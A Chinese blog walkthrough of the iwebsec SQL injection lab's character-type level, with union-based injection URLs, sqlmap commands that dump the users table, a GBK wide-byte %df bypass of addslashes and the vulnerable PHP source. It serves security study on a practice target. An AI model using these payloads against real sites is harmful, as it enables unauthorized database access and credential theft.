首页 > 数据库 >iwebsec-sql注入 02 字符型注入

iwebsec-sql注入 02 字符型注入

时间:2023-08-18 18:48:57浏览次数:38  
标签:02 www php cn -- sqli iwebsec id 注入

01、题目分析

正常来讲的字符型的sql注入,sql语句如下

select * from news where id='$id';

像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符 --+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注入不能实现,所以复制一份源代码并命名为20.php,修改成正常的字符型注入代码

image
所以先尝试正常的字符型sql注入

02、正常字符型手工注入:

先判断有多少列

http://www.bdrwmy.cn:8001/sqli/20.php?id=1' order by 3 --+
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,3 --+

image

知道有多少列了,接下来判断数据库

http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,database() --+

image
知道数据库名称了,接下来就可以爆表

http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec' --+

image

爆列

http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli' --+

image

爆数据

http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli  --+

image

收工

03、sqlmap工具注入:

判断能否注入:

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1"

image

能注入,暴库

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1"  --dbs

image

暴表

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1"  --tables  -D iwebsec

image

暴字段

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1"  -T sqli  -D iwebsec  --columns

image

暴数据

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1"  -T sqli  -D iwebsec  -C "username,password" --dump

image

04、代码分析

 <?php
  if(isset($_GET['id'])){
        $id=($_GET['id']);
        mysql_query("SET NAMES gbk");
        $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
    # 这个地方主要是加了个单引号,因此在注入的过程中需要去闭合单引号
                $result=mysql_query($sql);
        }
        else{
                exit();
        }

05、宽字节过滤下的字符型手工注入

宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes() 函数,是返回在预定义字符(' " )之前添加反斜杠的字符串。

也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上

-- url写入
?id=1' order by 3 --+
-- 在addslashes(1' order by 3 --+)函数后实际赋值给id的值为
1\' order by 3 --+

因为sql语句中没有反斜杠,所以一定会报错,那我们就完成不了正常的注入,所以我们应该想办法把他去掉

在'前加上%df,这样经过addslashes()函数处理后,传参值语句变为

1%df\' order by 3 --+

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

宽字节过滤下的字符型手工注入,也就是加上%df,流程和上面的一样

http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' order by 3 --+
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,3 --+
-- 暴库
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,database() --+
-- 暴表
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 暴列
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns --+
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(concat_ws(username,password)) from iwebsec.sqli --+

06、宽字节过滤下的字符型工具注入

方式一:

在url上可以加上%df*进行sql注入,可以像上面03那样一步步的判断,但是因为已经知道有注入有表啥的了,直接一把梭

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1%df"  --current-db --dump --batch

方式二:

--tamper unmagicquotes脚本是针对宽字节过滤的注入方式

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1" --current-db --dump --batch   --tamper unmagicquotes

image

07、宽字节代码分析

<?php
if(isset($_GET['id'])){ // 检查是否存在传递的id参数
    $id=addslashes($_GET['id']); // 获取id参数的值,并使用addslashes函数进行转义,提高安全性
    mysql_query("SET NAMES gbk"); // 设置数据库连接的字符集为GBK,确保与数据库的字符集一致

    $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; // 构造SQL查询语句,根据传递的id参数查询user表中对应的记录

    $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中

    // 执行其他操作,处理查询结果或输出数据等
} else {
    exit(); // 如果没有传递id参数,则退出(终止脚本运行)
}
?>

标签:02,www,php,cn,--,sqli,iwebsec,id,注入
From: https://www.cnblogs.com/bdrwmy/p/17641250.html

相关文章

  • iwebsec-sql注入 01 数字型注入
    01、题目分析数字型注入的sql语句select * from news where id=$id;最最最常规的,直接注入02、手工注入:先判断有多少列http://www.bdrwmy.cn:8001/sqli/01.php?id=1orderby3--id=-1就是不显示内容http://www.bdrwmy.cn:8001/sqli/01.php?id=-1unionselect1,2,......
  • burpsuite靶场----SQL注入13----oracle的CAST报错注入
    burpsuite靶场----SQL注入13----oracle的CAST报错注入靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based正式开始1.通过在TrackingId=JBhlRizkqfo87Hq8后面添加'和''(两个单引号)猜测是oracle数据库添加'报错,添加''......
  • 腾讯云 CODING 荣获 TiD 质量竞争力大会 2023 软件研发优秀案例
    点击链接了解详情8月13-16日,由中关村智联软件服务业质量创新联盟主办的第十届TiD2023质量竞争力大会在北京国家会议中心召开。本次大会以“聚焦数字化转型探索智能软件研发”为主题,聚焦智能化测试工程、数据要素、元宇宙、数字化转型、产融合作、未来产业等前沿热点主题......
  • burpsuite靶场----SQL注入14----oracle的时间盲注test
    burpsuite靶场----SQL注入14----oracle的时间盲注test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays正式开始1.进入标签2.抓包3.在TrackingId=BU622TbcJXbso7Wwh后面填上'||pg_sleep(10)--完成任务......
  • 2023年Android中高级最全面试题(含大厂原题+解析)
    前言又快要到了一年一度的金九银十黄金跳槽时节,也是互联网大厂疯狂招人的时期,现在应该有很多Android程序员已经按耐不住了。但是现在网上的面试题资料太多了,而且有些面试题已经过时甚至是漏洞百出。今天结合自己前段时间的面试经历和几位大厂大佬交流讨论总结出这份2023年Android中......
  • 2023-08-18:用go写算法。你会得到一个字符串 text, 你应该把它分成 k 个子字符串 (subte
    2023-08-18:用go写算法。你会得到一个字符串text,你应该把它分成k个子字符串(subtext1,subtext2,…,subtextk)。要求满足:subtexti是非空字符串,所有子字符串的连接等于text,(即subtext1+subtext2+...+subtextk==text),subtexti==subtextk-i+1表示所有i的有......
  • 2023-08-18:用go写算法。你会得到一个字符串 text, 你应该把它分成 k 个子字符串 (subte
    2023-08-18:用go写算法。你会得到一个字符串text,你应该把它分成k个子字符串(subtext1,subtext2,…,subtextk)。要求满足:subtexti是非空字符串,所有子字符串的连接等于text,(即subtext1+subtext2+...+subtextk==text),subtexti==subtextk-i+1表示所有......
  • 2023年爬虫有哪些好用的付费代理IP?芝麻代理品易代理快代理熊猫代理……
    在我加班到凌晨2点的时候,第N次收到HTTP代理返回:项目是没办法接着做了,回家也是不可能回家的,烦得很一时半会还没想走,这种情况谁懂?开始知乎摸鱼,翻到这个:哈?这不就是1*88源头厂家的意思?????说这个我可就立马福尔摩斯附体了啊,今天我可非得找到你这个家伙!中间曲折的过程我就不重复说了,直接给我......
  • The 2022 ICPC Asia Regionals Online Contest (II) EJFB
    The2022ICPCAsiaRegionalsOnlineContest(II)EAnInterestingSequence232323232323323232323232#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;voidsolve(){ lln,k; cin>>n>>k; llres=k; llt=0; for(......
  • [THUPC2022 初赛] 造计算机
    题目传送门更好的阅读体验思路结论:如果序列原先就合法,答案为\(0\);否则,最多使用两个寄存器。我们对\(i\rightarrowa_i\)建边得到若干个环,我们单独考虑一个环如何操作。对于一个长度为\(4\)的数列,再包含两个寄存器,设两个寄存器的值分别为\(x,y\)。显然\(4,1,3\)......